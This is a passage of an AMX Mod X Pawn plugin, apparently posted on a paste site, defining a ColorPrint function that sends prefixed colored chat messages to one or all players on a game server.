  3004. stock ColorPrint( const index, const string[], any:... )
  3005. {
  3006. new szMsg[ 191 ], Players[ 32 ], PNum = 1;
  3007.  
  3008. static iLen; iLen = formatex( szMsg, charsmax( szMsg ), "^4[^1Injstice^4]^1 ");
  3009.  
  3010. vformat( szMsg[ iLen ], charsmax( szMsg ) - iLen, string, 3 );
  3011.  
  3012. if ( index )
  3013. Players[ 0 ] = index;
  3014.  
  3015. else
  3016. get_players( Players, PNum, "ch" );
  3017.  
  3018. for ( new i; i < PNum; i++ )
  3019. {
  3020. if( is_user_connected( Players[ i ] ) )
  3021. {
  3022. message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, Players[ i ] );
  3023.  
  3024. write_byte( Players[ i ] );
  3025.  
  3026. write_string( szMsg );
  3027.  
  3028. message_end( );
  3029. }
  3030. }
  3031.  
  3032. return 1;
  3033. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement